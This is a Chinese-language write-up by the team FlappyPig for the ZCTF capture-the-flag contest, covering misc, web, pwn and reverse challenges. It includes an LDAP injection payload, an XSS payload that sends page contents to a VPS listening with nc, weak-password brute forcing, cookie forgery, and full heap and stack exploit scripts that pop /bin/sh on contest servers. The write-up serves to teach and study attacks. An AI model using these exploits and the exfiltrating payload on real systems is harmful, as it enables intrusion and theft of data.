author:FlappyPig
XCTF.docx-ca626bea35779f5f7032e00cf9d2dd02
宽窄间距
也许你需要懂宏编程
这个题的脑洞 简直。。。
主要看spacing
可以看到3种间距 -2 0 2 于是推算 -2和2的时候
一个烫=一个0或者一个1
猜测开头
发现完全吻合之后 把所有168个烫都转换为二进制 最后8个二进制输出一个字符
得到flag
ZCTF{C0nnE_ON_B4BUj!}
100
0 solves
zctf.4454351239294142517768106477424758339313668330551556598850285899498383133918517502503116443893032458144900690532957411308317691675682333946019971994909066641891914657728311161476294251777002804869680310833062416097160633225722907877609055897813420047521712976274014308415290941783823683328734523657720186652742880094528490554601943311421553698477475972304302075922033331292552372389282466264842199
漫画
zctf is the key game!
Des key is 8 bytes
dashi.jpg-ddb46459b4f8e82a80a720bde3c98bf6
300
0 solves
115.28.206.86 2016
首先出现的是登陆窗口,检查登录名密码的函数在这里
使用Auth.auth函数验证用户名密码,this.databaseopt()函数获得加密用的密钥,该函数如下图,大概是从key.db中获取密钥
下个log直接把key打印出来,是zctf{Notthis},因此用户名是zctf,密码应该是{Notthis}。
这一步通过了之后会运行app这个类,里面会检查反调试,并且设置了退出时间,把相应退出的转跳判断改掉就不会退出了。最后程序会调用JNIclass.sayHelloInc
用ida查看相关汇编
其中会调用Java_com_zctf_app_JNIclass_add_0()查看/proc/pid/status进行反调试,调试的时候把它的返回值改为0,即可绕过。
剩下的部分貌似是拼接/data/data/com.zctf.app/files/bottom和so文件内部的一个字符串,然后使用des解密。
这里直接用gdb dump出解密后的值即可,是一张图片。用stegsolve打开即可看到flag。
一个登录框..测试了下感觉不像注入,cookie中有个sessionhint,发现是base32编码,解码发现是说不是sql注入,
扫 了下端口,发现存在389端口,ldap,参考drops的文章,用admin/*登录进后台,发现一个搜索,搜索a回显,0 admin, (| (uid=*a*))猜测是后端的语句,这里又有一个sessionhint解出来can you find my description,后来才发现 description是表名,于是根据drops文章一位一位盲注出。
payload:search=b*)(description=z
没啥好说的这题..你以为你换个DedeCMS的Logo我就认不出你是Discuz了么!
XSS漏洞,wooyun上有,在回复帖子的位置插入代码:
[flash]http://VPS_IP:9997/flash.swf?'+btoa(escape(document.body.innerHTML))+'[/flash] VPS上nc监听9997端口,就能接收到数据了..
解码之后就能看到flag
首先爆破常用姓名 最后可以登录zhangwei 123456
登录上去之后发现通讯录 还有md5过的cookie 解不开
然后爆破通讯录里的弱口令
可以得到 niubenben 123456789
继续登录 发现cookie可以解 解完之后是 9+ADk-
可以推算老大 是1+xxxx 最后尝试多次发现+ADk- 是utf-7的编码
于是构造老大的cookie
再md5下 用burp发包 拿到flag
题目逻辑比较简单,gets的缓冲区是栈上的,可以任意长度读入,而栈的缓冲区长度是40。如下:
由于直接与flag相比较,所以这里flag是存在于内存中的。由于做了限制,必须以ZCTF{开头,而且长度一定,所以这里首先得暴力长度,根据返回的结果判断长度是否正确。
长度开始为33,后来改为34。
由 于栈的前面存在有主函数main(int argc, char** argv)的参数值,而这个参数argv[0]即为程序的名字,在异常时会显示在错 误信息后面,所以只要覆盖栈中argv[0]的地址为特定地址就可以达到任意地址泄露。所以可以泄露原flag的信息。
由 于::s(flag存放的地址)最后会与输入值做异或,所以最后只要反异或就可以。由于开始的时候ZCTF{这个地方异或后肯定为0,所以打印的时候,地 址应该往后靠点:如+5,另外选取的异或数也可能余flag中的相同,存在0截断,所以可以多打印些地址,这里直接选用‘b’,发现能够全部泄露出来(第五个5以后的)。
利用代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
__author__ = "pxx" #from zio import * from pwn import * #target = "./guess" target = ( "115.28.27.103" , 22222 ) def get_io(target): #r_m = COLORED(RAW, "green") #w_m = COLORED(RAW, "blue") #io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) #io = process(target, timeout = 9999) io = remote( "115.28.27.103" , 22222 , timeout = 9999 ) return io def leak_len(io, length): io.readuntil( "please guess the flag:\n" ) flag_addr = 0x6010C0 payload = 'a' * length + "\x00" #io.gdb_hint() io.writeline(payload) result = io.readuntil( "\n" ) print result #io.close(0) if "len error" in result: return False return True def pwn(io): #io.read_until("please guess the flag:\n") io.readuntil( "please guess the flag:\n" ) """ [stack] : 0x7fffff422210 --> 0x73736575672f2e (b'./guess') !![stack] : 0x7fffff421278 --> 0x7fffff422210 --> 0x73736575672f2e (b'./guess') [stack] : 0x7fffff422ff0 --> 0x73736575672f2e (b'./guess') !![stack] : 0x7fffff4215e0 --> 0x7fffff422ff0 --> 0x73736575672f2e (b'./guess') [stack] : 0x7fffc0eb7bfa --> 0x73736575672f6e (b'n/guess') [stack] : 0x7fffc0eb7ff0 --> 0x73736575672f2e (b'./guess') !![stack] : 0x7fffc0eb6c48 --> 0x7fffc0eb7ff0 --> 0x73736575672f2e (b'./guess') arg[0]: 0x7fffc0eb67c0 ('a' <repeats 15 times>...) """ flag_addr = 0x6010C0 + 5 #+ 3 + 6 length = 34 payload = "ZCTF{" payload = payload.ljust(length, 'b' ) payload + = "\x00" payload = payload.ljust( 0x7fffff421278 - 0x7fffff421150 , 'a' ) #payload = payload.ljust(0x100, 'a') payload + = p64(flag_addr) #payload = 'a' * (0x7fffc0eb68e8 - 0x7fffc0eb67c0) + p64(flag_addr) raw_input () #io.gdb_hint() #io.writeline(payload) #payload = 'a' * 0x50 io.writeline(payload) #io.interact() io.interactive() """ #leak length = 9 for i in range(32, 256): print i io = get_io(target) if leak_len(io, i) == True: break exit(0) """ io = get_io(target) pwn(io) |
然后异或即可:
1
2
3
4
5
|
a = '0\x07\x03SSS;=\x0cQQ&=\x16R=[\x17\x07\x111=\x04\x0e"\x05]\x1fh' result = [] for i in a: result.append( chr ( ord (i) ^ ord ( 'b' ))) print "".join(result) |
结果:
flag: ZCTF{Rea111Y_n33D_t0_9uesS_fl@g?}
这题比较简单,是个菜单式的交互程序,分析程序的结构体,得到如下:
可见content的长度为256,而在edit的时候,能够读入512字节,从而发送缓冲区覆盖,如下:
结构体中有指针,泄露和利用都比较容易,利用代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
__author__ = "pxx" from zio import * from pwn import * #target = "./note1" target = ( "115.28.27.103" , 9001 ) def get_io(target): r_m = COLORED(RAW, "green" ) w_m = COLORED(RAW, "blue" ) io = zio(target, timeout = 9999 , print_read = r_m, print_write = w_m) return io def new_note(io, title_t, type_t, content_t): io.read_until( "option--->>\n" ) io.writeline( "1" ) io.read_until( "title:\n" ) io.writeline(title_t) io.read_until( "type:\n" ) io.writeline(type_t) io.read_until( "content:\n" ) io.writeline(content_t) def show_note(io): io.read_until( "option--->>\n" ) io.writeline( "2" ) def edit_note(io, title_t, content_t): io.read_until( "option--->>\n" ) io.writeline( "3" ) io.read_until( "title:\n" ) io.writeline(title_t) io.read_until( "content:\n" ) io.writeline(content_t) def pwn(io): new_note(io, 'aaa' , 'aaa' , 'aaa' ) new_note(io, 'bbb' , 'bbb' , 'bbb' ) new_note(io, 'ccc' , 'ccc' , 'ccc' ) show_note(io) atoi_got = 0x0000000000602068 - 0x80 content = 'a' * 256 + l64( 0x01 ) + l64( 0x01 ) + l64( 0x01 ) + l64(atoi_got) + "bbb" io.gdb_hint() edit_note(io, 'aaa' , content) show_note(io) io.read_until( "title=, type=, content=" ) data = io.read_until( "\n" )[: - 1 ] print [c 3="<code" 4="4="4="4="4="class="python""""" 5="5="5="5="5="plain">c""""" 6="</code><code" 7="7="7="7="7="class="python""""" 8="8="8="8="8="keyword">in</code>""""" 9="<code" 10="10="10="10="10="class="python""""" 11="11="11="11="11="plain">data""""" language="</code><code"][/c]data = data.ljust( 8 , '\x00' ) malloc_addr = l64(data) print "malloc_addr:" , hex (malloc_addr) elf_info = ELF( "./libc-2.19.so" ) malloc_offset = elf_info.symbols[ "malloc" ] system_offset = elf_info.symbols[ "system" ] libc_base = malloc_addr - malloc_offset system_addr = libc_base + system_offset content = "a" * 16 + l64(system_addr) print "system_addr:" , hex (system_addr) edit_note(io, "", content) io.read_until( "option--->>\n" ) io.writeline( "/bin/sh" ) io.interact() io = get_io(target) pwn(io) |
结果:
flag: ZCTF{3n@B1e_Nx_IS_n0t_3norrugH!!}
这道题也是菜单式的形式,主要问题在于edit的时候,append可以越界,如下图:
如果size开始为0,那么size – strlen(dest) + 14 <= 14 了,所以最后strncat的时候,可以无限附加,覆盖下个堆块,当size为0的时候,默认会分配的堆块大小为0x20,由于每个堆块的大小可以自己设 置大小,所以这里采用fastbin(堆块大小为0x20~0x80),由于可以覆盖后面的堆块,所以可以伪装假堆块在name中,然后对其进行free,再次申请的时候,就可以得到该地址,从而改写全局指针,如下:
最终利用代码如下:
[code]
_author__ = "pxx"
from zio import *
from pwn import *
#ip = 1.192.225.129
#target = "./note2"
target = ("115.28.27.103", 9002)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return io
def new_note(io, length_t, content_t):
io.read_until("option--->>\n")
io.writeline("1")
io.read_until("content:(less than 128)\n")
io.writeline(str(length_t))
io.read_until("content:\n")
io.writeline(content_t)
def show_note(io, id_t):
io.read_until("option--->>\n")
io.writeline("2")
io.read_until("id of the note:\n")
io.writeline(str(id_t))
def delete_note(io, id_t):
io.read_until("option--->>\n")
io.writeline("2")
io.read_until("id of the note:\n")
io.writeline(str(id_t))
def edit_note(io, id_t, type_t, content_t):
io.read_until("option--->>\n")
io.writeline("3")
io.read_until("id of the note:\n")
io.writeline(str(id_t))
io.read_until("[1.overwrite/2.append]\n")
io.writeline(str(type_t))
io.read_until("Contents:")
io.writeline(content_t)
def pwn(io):
name_addr = 0x6020E0
address_addr = 0x602180
address = 'aaa'
name = l64(0x20) + l64(0x21)
name = name.ljust(0x20, 'a')
name += l64(0x20) + l64(0x21)
name += l64(0x0)
io.read_until("Input your name:\n")
io.writeline(name)
io.read_until("Input your address:\n")
io.writeline(address)
new_note(io, 0, '')
new_note(io, 0x80, '')
atoi_got = 0x0000000000602088
manage_addr = 0x602120
payload = 'a' * 0x10
for i in range(7):
edit_note(io, 0, 2, payload)
payload = 'a' * 0xf
edit_note(io, 0, 2, payload)
payload = 'a' + l64(name_addr + 0x10)
edit_note(io, 0, 2, payload)
io.gdb_hint()
new_note(io, 0, '')
payload = 'a' * 0x10
for i in range(2):
edit_note(io, 2, 2, payload)
payload = 'a' * 0xf
edit_note(io, 2, 2, payload)
payload = 'a' + l64(atoi_got)
edit_note(io, 2, 2, payload)
show_note(io, 0)
io.read_until('Content is ')
data = io.read_until("\n")[:-1]
print [c for c in data]
data = data.ljust(8, '\x00')
aoti_addr = l64(data)
print "aoti_addr:", hex(aoti_addr)
elf_info = ELF("./libc-2.19.so")
#elf_info = ELF("./libc.so.6")
atoi_offset = elf_info.symbols["atoi"]
system_offset = elf_info.symbols["system"]
libc_base = aoti_addr - atoi_offset
system_addr = libc_base + system_offset
content = l64(system_addr)
print "system_addr:", hex(system_addr)
edit_note(io, 0, 1, content)
io.read_until("option--->>\n")
io.writeline("/bin/sh")
io.interact()
io = get_io(target)
pwn(io)
[/code]
结果
flag: ZCTF{C0ngr@tu1@tIoN_tewre0_PwN_8ug_19390#@!}
spell(pwn300):
这道题的逻辑还是比较简单的,读取用户数据,然后与从驱动中读到的数据进行对比,符合要求,则打印flag。
看驱动代码,发现有两个ioctl指令:
0x80086B01 –> 返回8字节随机数
0x80086B02 –> 返回时间字符串
如下:而时间在最初的时候会打印一次,但是这里只是精确到分钟。
对于用户输入的串,与驱动进行比较时,会有多轮次,长度符合规律,现将长度求出得56,每8字节为一组,与驱动中读出的数据进行异或,如果每次异或结果都为’zctfflag’,则成功。
问题所在:
读取用户输入的时候,会读取len+2的长度,而且将len+1的位置置为’\n’,那么此时如果输入长度刚好为256,可以读取258个字节
而在cpy函数中,赋值结束时按照’\n’来定的,所以可以赋值257个字节,如下:
而dest_buff缓冲区只有256个字节,其后跟着v13,它为第二次获取驱动中数据函数ioctl的指令代码,如下:
所以可以覆盖其最低字节,那么此时如果将最后一字节其覆盖成0x02,则获取的结果就是8字节的时间,而时间是8字节的,而且是以分钟为精度的,所以可以将第一次的时间近似看成第二次的时间,从而构造合适的输入数据。
利用代码如下:
[code]
__author__ = "pxx"
from zio import *
target = ("115.28.27.103", 33333)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
#io = process(target, timeout = 9999)
return io
def pwn(io):
io.read_until("How long of your spell:")
io.writeline("256")
io.read_until("At ")
time_info = io.read_until(": ")
io.read_until("you enter the spell: ")
time_info = time_info + "\x00"
info = "zctfflag"
result = []
padding = ""
for i in range(8):
padding += chr(ord(time_info[i]) ^ ord(info[i]))
payload = padding * 7
payload += "\x00"
payload = payload.ljust(256, 'a')
payload += '\x02'
io.writeline(payload)
io.interact()
io = get_io(target)
pwn(io)
[/code]
结果:
flag: ZCTF{SPELL_IS_IN_THE_D33wRIVER}
该题是note系列第三个,问题依然在edit中,如下图:
其中输入的id经过一些列运算,其中get_long函数中,转换是atol,而发行len<0时,将len=-len,这里有个整数型溢出问题,因为0x8000000000000000 = -0x8000000000000000。
而0x8000000000000000的值为-1,所以可以导致索引为全局结构体数组中的前一个指针。其为当前的活跃指针,如下:
edit的时候:id_t为-1;其对应的长度不在是size,第七个堆块的指针所以可以读很长的内容,从而覆盖后面的堆块,如下:
get_buff_4008DD(global_content_size_6020C8[id_t], (__int64)(&global_cur_ptr_6020C0)[8 * (id_t + 8)], 10);
global_cur_ptr_6020C0 = global_content_size_6020C8[id_t];
在这里可以采用unlink的方式,在内容中构造假堆块,最终改写全局指针。
利用代码如下:
[code]
__author__ = "pxx"
from zio import *
from pwn import *
#ip = 1.192.225.129
#target = "./note3"
target = ("115.28.27.103", 9003)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return io
def new_note(io, length_t, content_t):
io.read_until("option--->>\n")
io.writeline("1")
io.read_until("content:(less than 1024)\n")
io.writeline(str(length_t))
io.read_until("content:\n")
io.writeline(content_t)
def delete_note(io, id_t):
io.read_until("option--->>\n")
io.writeline("4")
io.read_until("id of the note:\n")
io.writeline(str(id_t))
def edit_note(io, id_t, content_t):
io.read_until("option--->>\n")
io.writeline("3")
io.read_until("id of the note:\n")
io.writeline(str(id_t))
io.read_until("content:")
io.writeline(content_t)
def pwn(io):
new_note(io, 0x80, 'aaaaaa')
new_note(io, 0x80, 'bbbbbb')
new_note(io, 0x80, 'cccccc')
new_note(io, 0x80, 'dddddd')
new_note(io, 0x80, 'eeeeee')
new_note(io, 0x80, 'ffffff')
new_note(io, 0x80, '/bin/sh;')
target_id = 2
edit_note(io, target_id, '111111')
#useful_code --- begin
#prepare args
arch_bytes = 8
heap_buff_size = 0x80
#node1_addr = &p0
node1_addr = 0x6020C8 + 0x08 * target_id
pack_fun = l64
heap_node_size = heap_buff_size + 2 * arch_bytes #0x88
p0 = pack_fun(0x0)
p1 = pack_fun(heap_buff_size + 0x01)
p2 = pack_fun(node1_addr - 3 * arch_bytes)
p3 = pack_fun(node1_addr - 2 * arch_bytes)
#p[2]=p-3
#p[3]=p-2
#node1_addr = &node1_addr - 3
node2_pre_size = pack_fun(heap_buff_size)
node2_size = pack_fun(heap_node_size)
data1 = p0 + p1 + p2 + p3 + "".ljust(heap_buff_size - 4 * arch_bytes, '1') + node2_pre_size + node2_size
#useful_code --- end
#edit node 1:overwrite node 1 -> overflow node 2
edit_note(io, -9223372036854775808, data1)
#edit_note(io, 1, score, data1)
#delete node 2, unlink node 1 -> unlink
#delete_a_restaurant(io, 2)
delete_note(io, target_id + 1)
alarm_got = 0x0000000000602038
puts_plt = 0x0000000000400730
free_got = 0x0000000000602018
data1 = l64(0x0) + l64(alarm_got) + l64(free_got) + l64(free_got)
edit_note(io, target_id, data1)
data1 = l64(puts_plt)[:6]
io.gdb_hint()
edit_note(io, target_id, data1)
#io.read_until("option--->>\n")
#io.writeline("3")
#io.read_until("id of the note:\n")
#io.writeline(l64(atol_got))
#data = io.read_until("\n")
#print [c for c in data]
delete_note(io, 0)
data = io.read_until("\n")[:-1]
print [c for c in data]
alarm_addr = l64(data.ljust(8, '\x00'))
print "alarm_addr:", hex(alarm_addr)
elf_info = ELF("./libc-2.19.so")
#elf_info = ELF("./libc.so.6")
alarm_offset = elf_info.symbols["alarm"]
system_offset = elf_info.symbols["system"]
libc_base = alarm_addr - alarm_offset
system_addr = libc_base + system_offset
data = l64(system_addr)[:6]
edit_note(io, 1, data)
delete_note(io, 6)
io.interact()
io = get_io(target)
pwn(io)
[/code]
结果:
flag: ZCTF{No_s1-1Ow_n0dfs_1eak!@#}
这个题最开始是个矩阵运行,算了半天算出来flag为zctf{Wrong_Flag},明显不对。继续往后分析,真正的代码在后面。
[code]
value = '32 02 00 00 85 02 00 00 F4 02 00 00 53 03 00 00 98 03 00 00 F9 03 00 00 6C 04 00 00 E5 04 00 00 44 05 00 00 93 05 00 00 FB 05 00 00 5A 06 00 00 A1 06 00 00 10 07 00 00 74 07 00 00 F1 07 00 00'
d = ''
for l in value.split(' '):
d += chr(int(l, 16))
print len(d)
from zio import *
d2 = []
d0 = ord('z')+ord('c')+ord('t')+ord('f')
d2.append(d0)
for i in range(len(d)/4):
d2.append(l32(d[i*4:i*4+4]))
flag = ''
for i in range(len(d2)-1):
flag += chr(d2[i+1]-d2[i])
print 'zctf'+flag
Reverse200
Flag形式如下:ZCTF{123_4567_abc_defghijklm}
其中123对应的md5为371265e33e8d751d93b148067c36eb4c,对应的3的字符为c0c
4567处对应的4个字符+一个’\x00’的md5为'03d2370991fbbb9101dd7dcf4b03d619',求得4567处对应LIK3.
md5str = '03d2370991fbbb9101dd7dcf4b03d619'
for a1 in range(0x20, 0x7f):
for a2 in range(0x20, 0x7f):
for a3 in range(0x20, 0x7f):
for a4 in range(0x20, 0x7f):
src = chr(a1) + chr(a2) + chr(a3) + chr(a4) + '\x00'
m2 = hashlib.md5()
m2.update(src)
if m2.hexdigest() == md5str:
print 'find'
print src
[/code]
abc处的3个字符做了base64加密之后进行比较,求得为E4t.
经过上面的比较后,程序用de处的两个字符对subkey文件内容进行异或,输出到subsubkey中。
再后面对整个flag做了次md5。但是因为整个flag中有10个字节不知道,爆破不太现实。
感觉subsubkey文件应该是有意义的,通过枚举de处的所有可能,得到所有的输出,通过file命令发现当de为ST时,subsubkey为一个rar文件,解压出来有剩下的8个字符。
Flag为:ZCTF{c0c_LIK3_E4t_ST6aw4ErrY}E4t.
Arm64的程序,最近新出的ida6.9支持arm64反编译,不过可惜没有正版ida。
看了下主要函数就几个,所以选择直接看汇编了。结合qemu,可以进行动态调试。
首先,ida对arm64程序的库函数识别不是很好(用的ida6.6),通过readelf解析出来的库函数对ida中的库函数手动修正。
之后就是纯看代码了,大概弄清楚了程序流程:
首先将输入的字符串每3个一组,变换成4个字节,得到buff2.
Buff2中每5个字节一组,做了一个矩阵乘法,得到buff3.
Buff3与固定字符串比较。代码大致如下:
[code]
flag = 'zctf{1234567890}'.ljust(18, '\x00')
d9 = []
for i in range(len(flag)/3):
d = (ord(flag[3*i])<<16)+(ord(flag[3*i+1])<<8)+ord(flag[3*i+2])
#print d,
d1 = (d>>18)&0x3f
d2 = (d>>12)&0x3f
d3 = (d>>6)&0x3f
d4 = d & 0x3f
print hex(d1), hex(d2), hex(d3), hex(d4)
if d1 != 0:
d9.append(d1)
if d2 != 0:
d9.append(d2)
if d3 != 0:
d9.append(d3)
else:
d9.append(0x40)
if d4 != 0:
d9.append(d4)
else:
d9.append(0x40)
d8 = [21, 8, 24, 7, 1, 25, 4, 20, 16, 0, 2, 13, 16, 10, 14, 18, 3, 20, 18, 25, 3, 12, 23, 0, 24]
for i in range(len(d9)/5):
for j in range(5):
a = d9[i*5]*d8[j*5]+d9[i*5+1]*d8[j*5+1]+d9[i*5+2]*d8[j*5+2]+d9[i*5+3]*d8[j*5+3]+d9[i*5+4]*d8[j*5+4]
print hex(a)
[/code]
逆向代码:
[code]
m = [[21.0, 8.0, 24.0, 7.0, 1.0], [25.0, 4.0, 20.0, 16.0, 0.0],\
[2.0, 13.0, 16.0, 10.0, 14.0], [18.0, 3.0, 20.0, 18.0, 25.0], [3.0, 12.0, 23.0, 0.0, 24.0]]
flag_lists = [[1219.0, 1274.0, 1158.0, 1549.0, 1205.0], [2777.0, 2771.0, 2387.0, 3440.0, 2833.0],\
[1422.0, 1753.0, 1723.0, 2369.0, 1483.0], [2071.0, 2283.0, 1936.0, 3483.0, 2435.0]]
for flag in flag_lists:
result3 = mat(m)**-1 * mat(flag).T
print result3
sbs = '''
22.0000
36.0000
13.0000
20.0000
17.0000
39.0000
45.0000
56.0000
31.0000
37.0000
21.0000
47.0000
8.0000
55.0000
28.0000
51.0000
26.0000
22.0000
29.0000
61.0000
'''
res2 = []
for sb in sbs.strip().split('\n'):
res2.append(int(sb.split('.')[0]))
for res in res2:
print hex(res), hex(res&0x3f)
from zio import *
flag = ''
for i in range(len(res2)/4):
result = (res2[i*4]<<18)+(res2[i*4+1]<<12)+(res2[i*4+2]<<6)+res2[i*4+3]
flag += l32(result)[0:3][::-1]
print flag
[/code]
解得flag为: ZCTF{x~Uo#w3ig}
创建了一个子进程,首先对主进程对输入的数据进行了变换,变换后放到004079D8处,然后子进程再进行判断。
父进程中变换的函数使用一堆jmp进行了混淆。
通过记录程序运行的eip,然后再进行分析,分析发现就是个base64解密,然后挨着的两两字符异或,得到buff2。
在子进程中,将buff2[i]^i与固定字符串比较。
[code lang="python"]
f = open('./reverse500.exe', 'rb')
d = f.read()[0x506c:0x506c+54]
result = ''
for i in range(53):
result += chr(ord(d[i])^i)
result2 = ''
result2 += result[0]
for i in range(52):
result2 += chr(ord(result2[i])^ord(result[i+1]))
print result2
print base64.b64decode('WkNURntJX1c0TlRfSm1QX2pNcF8mJl9CNFMxXzY0X0BeX15AIX0=')
[/code]
得到flag为:ZCTF{I_W4NT_JmP_jMp_&&_B4S1_64_@^_^@!}
Simulator
实现了一个简单的虚拟机(或者叫模拟器)。
定位到虚拟机初始化的地方:
通过之后的分析,可以猜出vreg、vpc、vsp、vflag和vmem。
之后一共支持24条指令:
[code lang="asm"]
0 initvm
1 mov regi, imm a1!=0
mov regi, regj a1=0
2: a1 == 0: mov regi, byte [regj]
a1 == 1: mov regi, word [regj]
a1 == 2: mov regi, dword [regj]
3: a1 == 0: mov byte [regj], regi
a1 == 1: mov word [regj], regi
a1 == 2: mov dword [regj], regi
4. pop regi
5. push regi
6. a1 == 0: print regi #c
a1 == 1: print regi #d
a1 == 2: print regi #x
a1 == 3: print vmem[regi]
7. a1 == 0: scanf regi #c
a1 == 1: scanf regi #d
a1 == 2: scanf regi #x
a1 == 3: scanf vmem[regi]
8. ret
9. a1 == 0 jmp imm
a1 == 1: jz imm
a1 == 2 jnz imm
a1 == 3: jl imm
10. a1 == 0: jmp regi
a1 == 1: jz regi
a1 == 2 jnz regi
a1 == 3: jl regi
11. a1 != 0: add regi, imm
a1 == 0: add regi, regj
12. sub
13. and
14. or
15. xor
16. cmp
17. exit
18. a1 == 0: mov regi, byte mem[regj]
a1 == 1:mov regi, word mem[regj]
a1 == 2:mov regi, dword mem[regj]
19. a1 == 0: mov byte mem[regj], regi
a1 == 1:mov word mem[regj], regi
a1 == 2:mov dword mem[regj], regi
20. a1 != 0:call imm
a1 == 0:call regi
21 nop
22 inc regi
23 dec regi
24 test regi, regj
[/code]
根据逆向出来的指令格式,去反汇编分析input.bin。
程序逐字节累加,然后比较。
[code lang="python"]
adds = [68, 116, 211, 300, 411, 529, 624, 673, 706, 813, 864, 959, 1014, 1086, 1137, 1232, 1285, 1390, 1499, 1616]
value = 0
result = ''
for add in adds:
result += chr(add-value)
value = add
print 'result:'+result
[/code]
求得结果为D0_Yov_1!k3_7H3_5imu
最后6个字节的比较麻烦一些,直接用z3求解了。
[code lang="python"]
from z3 import *
r10 = Real('r10')
r11 = Real('r11')
r12 = Real('r12')
r13 = Real('r13')
r14 = Real('r14')
r15 = Real('r15')
s = Solver()
s.add(r10 + r11 == 0x65)
s.add(r12 + r13 == 0x109-0x65)
s.add(r14 + r15 == 0x1ba-0x109)
s.add(r11 + r13 + r15 == 0xa3)
s.add(r10 + r12 == 0x148-0xa3)
s.add(r11 + r12 == 0xa8)
print(s.check())
print(s.model())
[/code]
最终flag为: zctf{D0_Yov_1!k3_7H3_5imu14t0r?}
本apk为2048的游戏修改版,玩到一定的分数就会弹出输入flag的窗口,flag窗口的activity为Secret,该类会载入Auth这个lib
观察其create函数,重点看最后一行setOnClickListener,其绑定的按钮监听器为i
跟进类i的onClick函数,其中下面这段语句干了很多事。j.b函数取得了该apk的签名存到v1,重点看最后一行this.a.a的调用。
this.a.a函数实际调用Secret.a函数,该函数中主要的语句是下面这条。
其中Secret.a函数取得assets目录下的libListerner文件的内容,h.a函数将libListerner文件的内容用之前取得的签名作为密钥进行des解密,h.b函数将解密后的内容写入/data/data/com.zctf.zctf2048/libListener,也就是说这里如果想自己重新编译apk的话会比较麻烦。
随后程序调用h.a运行libListerner
随后程序会调用本地函数进行进一步处理。
用ida打开libAuth.so,跟进到程序Java_com_zctf_zctf2048_Auth_AskForAnswer调用的地方。其取得了传入的字符串后调用了sendAndAsk函数
跟进查看,发现程序尝试连接本机的8000端口(转成小端为8000),
并进行tea加密。
最后传输过去
可以推测libListerner会监听8000端口,做进一步处理
用ida打开liblistener之后,定位到main函数,发现不是很复杂,就直接静态看了。
首先进行了tea算法,然后进行了变形base64,然后做了一个简单的变换。
在解密的过程中,发现变形base64解密完成之后,就已经得到flag了,(tea解密都不用算)。
[code lang="python"]
table = [87, 12, 4294967283L, 4294967291L, 4294967282L, 15, 4294967262L, 68, 4294967293L, 4294967253L, 27, 4294967274L, 13, 4294967287L, 26, 11, 4294967229L, 36, 4294967268L, 58, 0, 4294967236L, 64, 4294967233L, 57, 4294967239L, 17, 2, 11, 4294967293L, 23, 4294967247L]
def sub_8c20(a1, a2):
v2 = 87
if a2:
v2 = 65
if a2 <= 31:
v2 = (a1 + table[a2])&0xff
return v2
v6 = 65
result = ''
for i in range(32):
v6 = sub_8c20(v6, i)
result += chr(v6)
print result
str2 = "GHgSTU45IMNesVlZadrXf17qBCJkxYWhijOyzbcR6tDPw023KLA8QEFuvmnop9+/"
import base64
def get_index(ch):
for i in range(len(str2)):
if str2[i] == ch:
return i
raise Exception('error')
flag = ''
from zio import *
for i in range(len(result)/4):
d1 = get_index(result[4*i])
d2 = get_index(result[4*i+1])
d3 = get_index(result[4*i+2])
d4 = get_index(result[4*i+3])
d = (d1<<18)+(d2<<12)+(d3<<6)+d4
flag += l32(d)[0:3][::-1]
print flag
[/code]
最终flag为zctf{i_d0N()T_L1k3_2048}
【原文:ZCTF Writeup 作者:FlappyPig 安全脉搏编辑整理发布】